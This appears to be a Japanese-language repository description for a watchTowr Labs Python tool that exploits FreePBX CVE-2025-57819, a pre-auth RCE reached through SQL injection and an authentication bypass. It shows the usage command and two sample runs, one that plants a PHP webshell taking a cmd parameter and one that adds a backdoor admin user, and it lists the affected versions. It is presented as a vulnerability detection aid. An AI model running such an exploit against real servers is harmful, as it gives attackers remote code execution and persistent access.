watchtowrlabs/watchtowr-vs-freepbx-cve-2025-57819Pythonベースの検出アーティファクトジェネレーター。CVE-2025-57819を悪用し、FreePBXの事前認証RCEをSQLインジェクションと認証バイパスを介して行い、ウェブシェルを展開したりバックドアユーザーを作成したりします。
FreePBX 事前認証RCE 1day検出アーティファクト生成ツール
検出アーティファクト生成ツールは、PHPスクリプトのアップロードを試み、アップロードに失敗した場合は新しいユーザーを追加します。
$ python3 watchTowr-vs-FreePBX-CVE-2025-57819.py -H http://freepbx.lab.local
__ ___ ___________
__ _ ______ _/ |__ ____ | |_\__ ____\____ _ ________
\ \/ \/ \__ \ ___/ ___\| | \| | / _ \ \/ \/ \_ __ \
\ / / __ \| | \ \___| Y | |( <_> \ / | | \/
\/\_/ (____ |__| \___ |___|__|__ | \__ / \/\_/ |__|
\/ \/ \/
watchTowr-vs-FreePBX-CVE-2025-57819.py
(*) CVE-2025-57819 Detection Artifact Generator: FreePBX Auth Bypass + SQL Injection to RCE
- Piotr and Sonny of watchTowr
[+] FreePBX CVE-2025-57819 Detection Artifact Generator started
[+] Sending exploit request
[+] Waiting 2 minutes for DAG script to be created
[+] VULNERABLE - webshell found: http://freepbx.lab.local/this-is-an-ioc-not-actually-watchTowr-pd3o125j59.php?cmd=hostname
[+] Cleaning.sh malicious cron_job - please confirm manually that there is no malicious entries in asterisk.cron_jobs table
PHPスクリプトのアップロードに失敗した場合、ユーザーベースの検出にフォールバックします。「ランダム」なユーザー名と「ランダム」な12文字のパスワードを追加します。
$ python3 watchTowr-vs-FreePBX-CVE-2025-57819.py -H http://freepbx.lab.local
__ ___ ___________
__ _ ______ _/ |__ ____ | |_\__ ____\____ _ ________
\ \/ \/ \__ \ ___/ ___\| | \| | / _ \ \/ \/ \_ __ \
\ / / __ \| | \ \___| Y | |( <_> \ / | | \/
\/\_/ (____ |__| \___ |___|__|__ | \__ / \/\_/ |__|
\/ \/ \/
watchTowr-vs-FreePBX-CVE-2025-57819.py
(*) CVE-2025-57819 Detection Artifact Generator: FreePBX Auth Bypass + SQL Injection to RCE
- Piotr and Sonny of watchTowr
[+] FreePBX CVE-2025-57819 Detection Artifact Generator started
[+] Sending exploit request
[+] Waiting 2 minutes for DAG script to be created
[-] Webshell not found - falling back to user adding
[+] Adding user: watchTowrm0njzhj0ii / CdEf2DWGpT8u
[+] Verifying if user exists
[+] VULNERABLE: user added
このスクリプトは、FreePBXがCVE-2025-57819（事前認証RCE）に対して脆弱かどうかを検出しようとします。
< 15.0.66
< 16.0.89
< 17.0.3
最新のセキュリティ研究については、watchTowr Labs Team をフォローしてください。